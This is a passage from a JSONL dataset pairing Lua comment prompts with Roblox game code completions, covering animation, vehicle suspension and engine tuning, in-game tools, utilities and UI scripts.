0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed > 0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid, Enum.AnimationPriority.Action)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n\tlocal deltaTime = time - lastTick\n\tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n\tif (jumpAnimTime > 0) then\n\t\tjumpAnimTime = jumpAnimTime - deltaTime\n\tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\t--\t\tprint(\"Wha \" .. pose)\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\tif (setAngles) then\n\t\tlocal desiredAngle = amplitude * math.sin(time * frequency)\n\n\t\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\t\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\t\tRightHip:SetDesiredAngle(-desiredAngle)\n\t\tLeftHip:SetDesiredAngle(-desiredAngle)\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = getTool()\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "--[[Chassis Assembly]]", "completion": "\n\t\t--Create Steering Axle\n\t\tlocal arm=Instance.new(\"Part\",v)\n\t\tarm.Name=\"Arm\"\n\t\tarm.Anchored=true\n\t\tarm.CanCollide=false\n\t\tarm.FormFactor=Enum.FormFactor.Custom\n\t\tarm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize)\n\t\tarm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)\n\t\tarm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,100,100)\n\t\tarm.TopSurface=Enum.SurfaceType.Smooth\n\t\tarm.BottomSurface=Enum.SurfaceType.Smooth\n\t\tarm.Transparency=1\n\t\t\t\n\t\t--Create Wheel Spindle\n\t\tlocal base=arm:Clone()\n\t\tbase.Parent=v\n\t\tbase.Name=\"Base\"\n\t\tbase.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0)\n\t\tbase.BottomSurface=Enum.SurfaceType.Hinge\n\t\t\n\t\t--Create Steering Anchor\n\t\tlocal axle=arm:Clone()\n\t\taxle.Parent=v\n\t\taxle.Name=\"Axle\"\n\t\taxle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)\n\t\taxle.BackSurface=Enum.SurfaceType.Hinge\n\t\t\n\t\tif v.Name==\"F\" or v.Name==\"R\" then\n\t\t\tlocal axle2=arm:Clone()\n\t\t\taxle2.Parent=v\n\t\t\taxle2.Name=\"Axle\"\n\t\t\taxle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)\n\t\t\taxle2.BackSurface=Enum.SurfaceType.Hinge\n\t\t\tMakeWeld(arm,axle2)\n\t\tend\n\t\t\n\t\t--Create Suspension\n\t\tif PGS_ON and _Tune.SusEnabled then\t\t\t\n\t\t\tlocal sa=arm:Clone()\n\t\t\tsa.Parent=v\n\t\t\tsa.Name=\"#SA\"\n\t\t\tif v.Name == \"FL\" or v.Name==\"FR\" or v.Name ==\"F\" then\n\t\t\t\tlocal aOff = _Tune.FAnchorOffset\n\t\t\t\tsa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-fDistX,-fDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0)\n\t\t\telse\n\t\t\t\tlocal aOff = _Tune.RAnchorOffset\n\t\t\t\tsa.CFrame=v.CFrame*CFrame.new(_Tune.AxleSize/2,-rDistX,-rDistY)*CFrame.new(aOff[3],aOff[1],-aOff[2])*CFrame.Angles(-math.pi/2,-math.pi/2,0)\n\t\t\tend\n\t\t\t\n\t\t\tlocal sb=sa:Clone()\n\t\t\tsb.Parent=v\n\t\t\tsb.Name=\"#SB\"\n\t\t\tsb.CFrame=sa.CFrame*CFrame.new(0,0,_Tune.AxleSize)\n\t\t\t\n\t\t\tsb.FrontSurface=Enum.SurfaceType.Hinge\t\n\t\t\t\n\t\t\tlocal g = Instance.new(\"BodyGyro\",sb)\n\t\t\tg.Name = \"Stabilizer\"\n\t\t\tg.MaxTorque = Vector3.new(0,0,1)\n\t\t\tg.P = 0\n\t\t\t\n\t\t\tlocal sf1 = Instance.new(\"Attachment\",sa)\n\t\t\tsf1.Name = \"SAtt\"\n\t\t\t\n\t\t\tlocal sf2 = sf1:Clone()\n\t\t\tsf2.Parent = sb\n\t\t\t\n\t\t\t\n\t\t\tif v.Name == \"FL\" or v.Name == \"FR\" or v.Name == \"F\" then\n\t\t\t\tsf1.Position = Vector3.new(fDistX-fSLX,-fDistY+fSLY,_Tune.AxleSize/2)\n\t\t\t\tsf2.Position = Vector3.new(fDistX,-fDistY,-_Tune.AxleSize/2)\n\t\t\telseif v.Name == \"RL\" or v.Name==\"RR\" or v.Name == \"R\" then\n\t\t\t\tsf1.Position = Vector3.new(rDistX-rSLX,-rDistY+rSLY,_Tune.AxleSize/2)\n\t\t\t\tsf2.Position = Vector3.new(rDistX,-rDistY,-_Tune.AxleSize/2)\n\t\t\tend\n\t\t\t\n\t\t\tsb:MakeJoints()\n\t\t\t\n\t\t\tlocal sp = Instance.new(\"SpringConstraint\",v)\n\t\t\tsp.Name = \"Spring\"\n\t\t\tsp.Attachment0 = sf1\n\t\t\tsp.Attachment1 = sf2\n\t\t\tsp.LimitsEnabled = true\n\t\t\t\n\t\t\tsp.Visible=_Tune.SusVisible\n\t\t\tsp.Radius=_Tune.SusRadius\n\t\t\tsp.Thickness=_Tune.SusThickness\n\t\t\tsp.Color=BrickColor.new(_Tune.SusColor)\n\t\t\tsp.Coils=_Tune.SusCoilCount\n\t\t\t\n\t\t\tif v.Name == \"FL\" or v.Name==\"FR\" or v.Name ==\"F\" then\n\t\t\t\tg.D = _Tune.FAntiRoll\n\t\t\t\tsp.Damping = _Tune.FSusDamping\n\t\t\t\tsp.Stiffness = _Tune.FSusStiffness\n\t\t\t\tsp.FreeLength = _Tune.FSusLength+_Tune.FPreCompress\n\t\t\t\tsp.MaxLength = _Tune.FSusLength+_Tune.FExtensionLim\n\t\t\t\tsp.MinLength = _Tune.FSusLength-_Tune.FCompressLim\n\t\t\telse\n\t\t\t\tg.D = _Tune.RAntiRoll\n\t\t\t\tsp.Damping = _Tune.RSusDamping\n\t\t\t\tsp.Stiffness = _Tune.RSusStiffness\n\t\t\t\tsp.FreeLength = _Tune.RSusLength+_Tune.RPreCompress\n\t\t\t\tsp.MaxLength = _Tune.RSusLength+_Tune.RExtensionLim\n\t\t\t\tsp.MinLength = _Tune.RSusLength-_Tune.RCompressLim\n\t\t\tend\n\t\t\t\n\t\t\tMakeWeld(car.TruckSeat,sa)\n\t\t\tMakeWeld(sb,base)\n\t\telse\n\t\t\tMakeWeld(car.TruckSeat,base)\n\t\tend\n\t\t\n\t\t--Lock Rear Steering Axle\n\t\tif v.Name == \"RL\" or v.Name == \"RR\" or v.Name==\"R\" then\n\t\t\tMakeWeld(base,axle)\n\t\tend\n\t\t\n\t\t--Weld Assembly\n\t\tif v.Parent.Name == \"RL\" or v.Parent.Name == \"RR\" or v.Name==\"R\" then\n\t\t\tMakeWeld(car.TruckSeat,arm)\n\t\tend\n\t\t\n\t\tMakeWeld(arm,axle)\n\t\t\n\t\tarm:MakeJoints()\n\t\taxle:MakeJoints()\n\t\n\t\t--Weld Miscelaneous Parts\n\t\tif v:FindFirstChild(\"SuspensionFixed\")~=nil then\n\t\t\tModelWeld(v.SuspensionFixed,car.TruckSeat)\n\t\tend\n\t\tif v:FindFirstChild(\"WheelFixed\")~=nil then\n\t\t\tModelWeld(v.WheelFixed,axle)\n\t\tend\n\t\tif v:FindFirstChild(\"Fixed\")~=nil then\n\t\t\tModelWeld(v.Fixed,arm)\n\t\tend\n\t\t\n\t\t--Weld Wheel Parts\n\t\tif v:FindFirstChild(\"Parts\")~=nil then\n\t\t\tModelWeld(v.Parts,v)\n\t\tend\n\t\t\n\t\t--Add Steering Gyro\n\t\tif v:FindFirstChild(\"Steer\") then\n\t\t\tv:FindFirstChild(\"Steer\"):Destroy()\n\t\tend\n\t\t\n\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\tlocal steer=Instance.new(\"BodyGyro\",arm)\n\t\t\tsteer.Name=\"Steer\"\n\t\t\tsteer.P=_Tune.SteerP\n\t\t\tsteer.D=_Tune.SteerD\n\t\t\tsteer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)\n\t\t\tsteer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0)\n\t\tend\n\t\t\n\t\t--Add Stabilization Gyro\n\t\tlocal gyro=Instance.new(\"BodyGyro\",v)\n\t\tgyro.Name=\"Stabilizer\"\n\t\tgyro.MaxTorque=Vector3.new(1,0,1)\n\t\tgyro.P=0\n\t\tif v.Name==\"FL\" or v.Name==\"FR\" or v.Name==\"F\" then\n\t\t\tgyro.D=_Tune.FGyroDamp\n\t\telse\n\t\t\tgyro.D=_Tune.RGyroDamp\n\t\tend\n\t\t\n\t\t--Add Rotational BodyMover\n\t\tlocal AV=Instance.new(\"BodyAngularVelocity\",v)\n\t\tAV.Name=\"#AV\"\n\t\tAV.angularvelocity=Vector3.new(0,0,0)\n\t\tAV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)\n\t\tAV.P=1e9\n\tend\n\n\n"} +{"prompt": "-- Remote Functions Server -> Client. (WARNING: This should only be used for info that is not sensitive as this can be hacked by the client.)", "completion": "\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Spaceman\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(2, 1, 1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, 0.3, 0.05)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n\n\n\n"} +{"prompt": "--!strict\n--[=[\n @function fromArrays\n @within Dictionary\n\n @param keys {K} -- An array containing values to be used as keys.\n @param values {V} -- An array containing values to be used as values.\n @return {[K]: V} -- A dictionary composed of the given keys and values.\n\n Creates a dictionary from the given arrays, where the first array is used\n as keys and the second array is used as values.\n\n ```lua\n local keys = { \"hello\", \"goodbye\" }\n local values = { \"roblox\", \"world\" }\n\n local dictionary = FromArrays(keys, values) -- { hello = \"roblox\", goodbye = \"world\" }\n ```\n]=]", "completion": "\nlocal function fromArrays(keys: { K }, values: { V }): { [K]: V }\n\tlocal keysLength = #keys\n\tlocal result = {}\n\n\tfor i = 1, keysLength do\n\t\tresult[keys[i]] = values[i]\n\tend\n\n\treturn result\nend\n\nreturn fromArrays\n"} +{"prompt": "--[=[\n\tFired when the item view is opened.\n\n\t@prop itemViewOpened RBXScriptSignal\n\t@within MerchBooth\n\t@client\n]=]", "completion": "\nuiStatesEvents.itemViewOpened = Instance.new(\"BindableEvent\")\n"} +{"prompt": "-- Components will only work on instances parented under these descendants:", "completion": "\nlocal DESCENDANT_WHITELIST = {workspace, Players}\n"} +{"prompt": "--TheNexusAvenger\n--Centralizes user input for use with tools.", "completion": "\n\nlocal InputBeganEvent = Instance.new(\"BindableEvent\")\nlocal LongInputBeganEvent = Instance.new(\"BindableEvent\")\nlocal InputEndedEvent = Instance.new(\"BindableEvent\")\n\nlocal InputHandler = {\n\tWeaponActivateBegan = LongInputBeganEvent.Event,\n\tWeaponActivateEnded = InputEndedEvent.Event,\n\tWeaponActivated = InputBeganEvent.Event,\n}\n\nlocal Tool = script.Parent.Parent\nlocal Camera = game.Workspace.CurrentCamera\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal VRService = game:GetService(\"VRService\")\n\nlocal Player = game.Players.LocalPlayer\nlocal Mouse = Player:GetMouse()\n\nlocal EventsToDisconnect = {}\n\n\n"} +{"prompt": "-- ProgressFrame ve Confirmbutton'u referanslara atayal\u0131m", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal leaderstats = player:WaitForChild(\"leaderstats\")\nlocal stageValue = leaderstats:WaitForChild(\"Stage\")\n\nlocal conformation = script.Parent.Parent:FindFirstChild(\"Confirmation\")\nlocal ProgressFrame = conformation:FindFirstChild(\"ProgressFrame\") -- Do\u011fru isim\nlocal Confirmbutton = conformation:FindFirstChild(\"Confirmbutton\") -- Do\u011fru isim\n"} +{"prompt": "-- functions", "completion": "\n\nfunction stopAllAnimations()\n\tlocal oldAnim = currentAnim\n\n\t-- return to idle if finishing an emote\n\tif (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then\n\t\toldAnim = \"idle\"\n\tend\n\n\tcurrentAnim = \"\"\n\tif (currentAnimKeyframeHandler ~= nil) then\n\t\tcurrentAnimKeyframeHandler:disconnect()\n\tend\n\n\tif (currentAnimTrack ~= nil) then\n\t\tcurrentAnimTrack:Stop()\n\t\tcurrentAnimTrack:Destroy()\n\t\tcurrentAnimTrack = nil\n\tend\n\treturn oldAnim\nend\n\nfunction setAnimationSpeed(speed)\n\tif speed ~= currentAnimSpeed then\n\t\tcurrentAnimSpeed = speed\n\t\tcurrentAnimTrack:AdjustSpeed(currentAnimSpeed)\n\tend\nend\n\nfunction keyFrameReachedFunc(frameName)\n\tif (frameName == \"End\") then"} +{"prompt": "--fetching effectlib", "completion": "\nlocal common_modules = game.ReplicatedStorage.CommonModules\nEFFECT_LIB = require(common_modules.EffectLib)\n"} +{"prompt": "--// Event Connections", "completion": "\nL_115_.OnClientEvent:connect(function(L_331_arg1, L_332_arg2)\n\tif L_331_arg1 ~= L_2_ then\n\t\tlocal L_333_ = L_331_arg1.Character\n\t\tlocal L_334_ = L_333_.AnimBase.AnimBaseW\n\t\tlocal L_335_ = L_334_.C1\n\t\tif L_332_arg2 then\n\t\t\tL_130_(L_334_, nil , L_333_.Head.CFrame, function(L_336_arg1)\n\t\t\t\treturn math.sin(math.rad(L_336_arg1))\n\t\t\tend, 0.25)\n\t\telseif not L_332_arg2 then\n\t\t\tL_130_(L_334_, nil , L_335_, function(L_337_arg1)\n\t\t\t\treturn math.sin(math.rad(L_337_arg1))\n\t\t\tend, 0.25)\n\t\tend\n\tend\nend)\n\nL_118_.OnClientEvent:connect(function(L_338_arg1, L_339_arg2)\n\tif L_42_ and L_339_arg2 ~= L_2_ and L_24_.CanCallout then\n\t\tif (L_3_.HumanoidRootPart.Position - L_338_arg1).magnitude <= 10 then\n\t\t\tL_41_.Visible = true\n\t\t\tlocal L_340_ = ScreamCalculation()\n\t\t\tif L_340_ then\n\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\tL_119_:FireServer(L_7_.AHH, L_99_[math.random(0, 21)])\n\t\t\t\tend\n\t\t\tend\n\t\t\tL_14_:Create(L_41_, TweenInfo.new(0.1), {\n\t\t\t\tBackgroundTransparency = 0.4\n\t\t\t}):Play()\n\t\t\tdelay(0.1, function()\n\t\t\t\tL_14_:Create(L_41_, TweenInfo.new(3), {\n\t\t\t\t\tBackgroundTransparency = 1\n\t\t\t\t}):Play()\n\t\t\tend)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Services", "completion": "\nlocal ServerScriptService = game:GetService(\"ServerScriptService\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal ReplicatedFirst = game:GetService(\"ReplicatedFirst\")\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nlocal Players = game:GetService(\"Players\")\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nElevator:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 0.99)\n\t\t\tend\n\t\tend\n\tend\nend\n\n"} +{"prompt": "-- Put this Script in a Part, preferably bullet-shaped :)\n-- \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043d\u0430\u0440\u044f\u0434\u0430", "completion": "\nlocal part = script.Parent\npart.Shape = Enum.PartType.Ball\npart.Size = Vector3.new(2, 2, 2)\npart.BrickColor = BrickColor.new(\"Really black\")\npart.CanCollide = false\npart.Anchored = false\n "} +{"prompt": "--!strict\n--[=[\n\t@function slice\n\t@within Array\n\n\t@param array {T} -- The array to slice.\n\t@param from? number -- The index to start from (can be negative).\n\t@param to? number -- The index to end at (can be negative).\n\t@return {T} -- The sliced array.\n\n\tSlices an array.\n\n\t```lua\n\tlocal array = { 1, 2, 3, 4, 5 }\n\n\tlocal new = Slice(array, 2, 3) -- { 2, 3 }\n\tlocal new = Slice(array, -2, -1) -- { 3, 4 }\n\tlocal new = Slice(array, 3) -- { 3, 4, 5 }\n\t```\n]=]", "completion": "\nlocal function slice(array: { T }, from: number?, to: number?): { T }\n\tlocal length = #array\n\tlocal result = {}\n\n\tfrom = if type(from) == \"number\" then from else 1\n\tto = if type(to) == \"number\" then to else length\n\n\tif from < 1 then\n\t\tfrom += length\n\tend\n\n\tif to < 1 then\n\t\tto += length\n\tend\n\n\tfor i = from, to do\n\t\ttable.insert(result, array[i])\n\tend\n\n\treturn result\nend\n\nreturn slice\n"} +{"prompt": "-- It's important we update all icons when a players language changes to account for changes in the width of text, etc", "completion": "\ntask.spawn(function()\n\tlocal success, translator = pcall(function() return localizationService:GetTranslatorForPlayerAsync(localPlayer) end)\n\tlocal function updateAllIcons()\n\t\tlocal icons = IconController.getIcons()\n\t\tfor _, icon in pairs(icons) do\n\t\t\ticon:_updateAll()\n\t\tend\n\tend\n\tif success then\n\t\tIconController.translator = translator\n\t\ttranslator:GetPropertyChangedSignal(\"LocaleId\"):Connect(updateAllIcons)\n\t\ttask.spawn(updateAllIcons)\n\t\ttask.delay(1, updateAllIcons)\n\t\ttask.delay(10, updateAllIcons)\n\tend\nend)\n\n\nreturn IconController\n"} +{"prompt": "--02fzx", "completion": "\n\nlocal FlingAmount = 100000000\t--sky\nlocal sound = false\t\t--well i mean its god hand so..\nlocal sit = false\t\t\t--If it makes the player sit.\nlocal e = false\t\t\t\t--Do not change.\nlocal explode = true\t\t--This one just kills you\n\n\n\nfunction hit(Touch) \n\tlocal blender = Touch.Parent:FindFirstChild(\"Head\") \n\tif not (blender == nil) then\n\t\tif e == false then\n\t\te = true\n\t\tlocal bv = Instance.new(\"BodyVelocity\")\n\t\tbv.P = 1250\n\t\tbv.MaxForce = Vector3.new(math.huge,math.huge,math.huge)\n\t\tbv.Velocity = blender.CFrame.lookVector*-FlingAmount\n\t\tbv.Parent = blender\n\t\tif sit == true then\n\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Sit = true\n\t\tend\n\t\tif sound == true then\n\t\t\t\tlocal s = script.Parent.Yeet:Clone()\n\t\t\t\tlocal MAAAA = script.Parent.Scream:Clone()\n\t\t\tlocal random = math.random(8,12)/10\n\t\t\ts.Parent = blender\n\t\t\ts.PlaybackSpeed = 1\n\t\t\t\ts:Play()\n\t\t\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Health = 100\n\t\t\t\tMAAAA.Parent = blender\n\t\t\t\tMAAAA:Play()\n\t\t\t\tMAAAA.STOP.Disabled = false\n\t\tend\n\t\twait(.05)\n\t\tbv:Destroy()\n\t\twait(.2)\n\t\n\te = false\n\t\twait(1)\n\t\t\tif explode == true then\n\t\t\t\twait(5)\n\t\t\tTouch.Parent:FindFirstChild(\"Humanoid\").Health = 0\n\t\tend\n\n\n\n\t\tend\n\tend \nend\n\nscript.Parent.Touched:connect(hit)\n"} +{"prompt": "----- NO EDITING BELOW -----", "completion": "\nlocal weldedParts = {}\ntable.insert(weldedParts,mainPart)\n\nfunction Weld(x, y)\n\tweld = Instance.new(\"Weld\") \n\tweld.Part0 = x\n\tweld.Part1 = y\n\tlocal CJ = CFrame.new(x.Position) \n\tweld.C0 = x.CFrame:inverse() * CJ \n\tweld.C1 = y.CFrame:inverse() * CJ \n\tweld.Parent = x\t\n\ttable.insert(weldedParts,y)\nend\n\nfunction WeldRec(instance)\n\tlocal childs = instance:GetChildren()\n\tfor _,v in pairs(childs) do\n\t\tif v:IsA(\"BasePart\") then\n\t\t\tWeld(mainPart, v)\n\t\tend\n\t\tWeldRec(v)\n\tend\t\nend\n\nWeldRec(P)"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t= game:GetService(\"ReplicatedStorage\")\nlocal Players\t\t\t= game:GetService(\"Players\")\nlocal HttpService\t\t= game:GetService(\"HttpService\")\n"} +{"prompt": "-- [ SETTINGS ] --", "completion": "\n\nlocal statsName = \"Money\" -- Your stats name\nlocal maxItems = 100 -- Max number of items to be displayed on the leaderboard\nlocal minValueDisplay = 1 -- Any numbers lower than this will be excluded\nlocal maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded\nlocal abbreviateValue = true -- The displayed number gets abbreviated to make it \"human readable\"\nlocal updateEvery = 60 -- (in seconds) How often the leaderboard has to update\nlocal headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading\n"} +{"prompt": "--[[Wheel Stabilizer Gyro]]", "completion": "\n\tTune.FGyroDamp\t\t= 100\t\t-- Front Wheel Non-Axial Dampening\n\tTune.RGyroDamp\t\t= 100\t\t-- Rear Wheel Non-Axial Dampening\n\t"} +{"prompt": "--[[Engine]]", "completion": "\n\n\t--\t\t[TORQUE CURVE VISUAL]\n\t--\t\tGas Engine: https://www.desmos.com/calculator/nap6stpjqf\n\t--\t\tElectric Engine: https://www.desmos.com/calculator/ion9q7zp9t\n\t--\t\tUse sliders to manipulate values\n\t--\t\tEdit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.\n\t\n\tTune.Engine \t\t= true\t\t-- Enables or disables gas engine\n\t\t\t\t\t\t\t\t\t-- TORQUE CURVE: https://www.desmos.com/calculator/nap6stpjqf\n\t\n\tTune.Horsepower\t\t= 250\n\tTune.IdleRPM\t\t= 700\n\tTune.PeakRPM\t\t= 6000\n\tTune.Redline\t\t= 7000\n\tTune.EqPoint\t\t= 5252\n\tTune.PeakSharpness\t= 20\n\tTune.CurveMult\t\t= 0.2\n\t\n\tTune.Electric\t\t= true\t\t-- Enables or disables electric engine\n\t\t\t\t\t\t\t\t\t-- TORQUE CURVE: https://www.desmos.com/calculator/ion9q7zp9t\n\t\n\tTune.ElecHorsepower\t\t= 223\n\tTune.ElecMaxTorque\t\t= 173\n\t\n\tTune.ElecTransition1\t= 4000\n\tTune.ElecHpFrontMult\t= 0.15\n\t\n\tTune.ElecTransition2\t= 9000\n\tTune.ElecHpEndMult\t\t= 2.9\n\tTune.ElecHpEndPercent\t= 10\n\tTune.ElecTqEndMult\t\t= 1.5\n\tTune.ElecTqEndPercent\t= 27\n\t\n\tTune.ElecRedline\t\t= 16000\n\t\n\tTune.InclineComp\t= 1.2\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Turbo Settings\n\tTune.Aspiration\t\t= \"Super\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Aspiration]\n\t\t\"Natural\"\t\t: N/A, Naturally aspirated engine\n\t\t\"Single\"\t\t: Single turbocharger\n\t\t\"Double\"\t\t: Twin turbocharger\n\t\t\"Super\"\t\t\t: Supercharger\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.Boost\t\t\t= 5\t\t\t-- Max PSI (If you have two turbos and this is 15, the PSI will be 30)\n\tTune.TurboSize\t\t= 80\t\t-- Turbo size; the bigger it is, the more lag it has.\n\tTune.CompressRatio\t= 6\t\t\t-- The compression ratio (look it up)\n\tTune.Sensitivity\t= 0.05\t\t-- How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)\n\t\nreturn Tune\n"} +{"prompt": "--[=[\n\t@param ... any\n\n\tSame as `Fire`, but uses `task.defer` internally & doesn't take advantage of thread reuse.\n\t```lua\n\tsignal:FireDeferred(\"Hello\")\n\t```\n]=]", "completion": "\nfunction Signal:FireDeferred(...)\n\tlocal item = self._handlerListHead\n\twhile item do\n\t\ttask.defer(item._fn, ...)\n\t\titem = item._next\n\tend\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 350\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 850\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 7000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 8000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent 